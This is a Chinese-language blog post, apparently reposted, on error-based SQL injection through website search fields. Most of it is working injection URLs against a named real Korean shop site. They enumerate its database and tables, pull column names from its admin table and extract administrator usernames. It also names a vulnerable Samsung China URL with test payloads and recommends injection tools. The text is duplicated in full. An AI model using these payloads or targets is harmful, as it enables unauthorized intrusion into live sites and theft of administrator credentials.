ASP搜索型注入
程序员文章站
2022-06-22 19:27:52
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。
然后再搜索一个关键字,比如2006吧,正常返回所... 08-10-08...
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。
然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and user>0 and '%'=' //得到当前数据库账号
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and db_name()>0 and '%'=' //得到当前数据库名
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestleft','tbl_brandbestright','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_faq','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempdesc','tempdesc2','tempmodel','tempprdmain','tempprdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0 and '%'=' //依次类推,得到所有的表 其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level 列名暴完,暴管理员账号密码。 http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)t order by 1 desc)s)>0 and '%'=' //得到第二个管理员的id为champ
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)t order by 1 desc)s)>0 and '%'=' //得到第三个管理员的id为clark
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)t order by 1 desc)s)>0 and '%'=' //得到第四个管理员的id为hskim
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)t order by 1 desc)s)>0 and '%'=' //得到第五个管理员的id为jajeong
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。 一会再想别的办法吧。。。。。
另外说下,2.3 的啊d支持搜索型的注入方式是: 一般网站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&st=title&sc=
构造注入语句 三星%'and 1=1 and '%'='
三星%'and 1=2 and '%'='
两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%'and 1=1 and '%'=' 返回时有的 我一般搜索代码是:
select * from 表名 where 字段 like ’%关键字%’
这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)
这里如果关键字没有过滤的话,就可以这样来构造:
关键字=’ and [查询条件] and ‘%’=’
这样查询就变成
select * from 表名 where 字段 like '%' and 1=1 and '%'='%'
这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~
注入是不分家的,没必要什么型什么型的!~
《sql注入天书》的原话
第一节、sql注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构sql语句的原貌,按参数类型主要分为下面三种:
(a) id=49 这类注入的参数是数字型,sql语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为id=49 and [查询条件],即是生成语句:
select * from 表名 where 字段=49 and [查询条件] (b) class=连续剧这类注入的参数是字符型,sql语句原貌大致概如下:
select * from 表名 where 字段=’连续剧’
注入的参数为class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(c) 搜索时没过滤参数的,如keyword=关键字,sql语句原貌大致如下:
select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%’=’,即是生成语句:
select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’ 当然手工是麻烦的
用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的
注入点只要写:
http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&st=title&sc=%
再加个特征字符就可以了
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and db_name()>0 and '%'=' //得到当前数据库名
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestleft','tbl_brandbestright','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_faq','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempdesc','tempdesc2','tempmodel','tempprdmain','tempprdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0 and '%'=' //依次类推,得到所有的表 其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level 列名暴完,暴管理员账号密码。 http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)t order by 1 desc)s)>0 and '%'=' //得到第二个管理员的id为champ
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)t order by 1 desc)s)>0 and '%'=' //得到第三个管理员的id为clark
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)t order by 1 desc)s)>0 and '%'=' //得到第四个管理员的id为hskim
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)t order by 1 desc)s)>0 and '%'=' //得到第五个管理员的id为jajeong
http://www.lvhuana.co.kr/product/list_search.aspx?search=donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。 一会再想别的办法吧。。。。。
另外说下,2.3 的啊d支持搜索型的注入方式是: 一般网站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&st=title&sc=
构造注入语句 三星%'and 1=1 and '%'='
三星%'and 1=2 and '%'='
两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%'and 1=1 and '%'=' 返回时有的 我一般搜索代码是:
select * from 表名 where 字段 like ’%关键字%’
这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)
这里如果关键字没有过滤的话,就可以这样来构造:
关键字=’ and [查询条件] and ‘%’=’
这样查询就变成
select * from 表名 where 字段 like '%' and 1=1 and '%'='%'
这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~
注入是不分家的,没必要什么型什么型的!~
《sql注入天书》的原话
第一节、sql注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构sql语句的原貌,按参数类型主要分为下面三种:
(a) id=49 这类注入的参数是数字型,sql语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为id=49 and [查询条件],即是生成语句:
select * from 表名 where 字段=49 and [查询条件] (b) class=连续剧这类注入的参数是字符型,sql语句原貌大致概如下:
select * from 表名 where 字段=’连续剧’
注入的参数为class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(c) 搜索时没过滤参数的,如keyword=关键字,sql语句原貌大致如下:
select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%’=’,即是生成语句:
select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’ 当然手工是麻烦的
用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的
注入点只要写:
http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&st=title&sc=%
再加个特征字符就可以了
上一篇: 携手分布式存储 助力智慧城市建设
下一篇: 各种入侵批处理
推荐阅读
-
营销型网站利于搜索引擎优化主要体现哪些方面
-
[转]ASP实现关键词获取(各搜索引擎,GB2312及UTF-8)
-
详解ASP.NET Core 在 JSON 文件中配置依赖注入
-
ASP.NET MVC IOC依赖注入之Autofac系列开篇
-
ASP.NETCore 3.0 Autofac替换及控制器属性注入及全局容器使用
-
ASP.NET Core依赖注入系列教程之服务的注册与提供
-
ASP.NET Core DI手动获取注入对象的方法
-
ASP.NET Core 2.2 WebApi 系列【七】泛型仓储模式和工作单元
-
纯ASP(VBscript)写的全球IP地址搜索程序
-
万能Asp防注入代码 拒绝攻击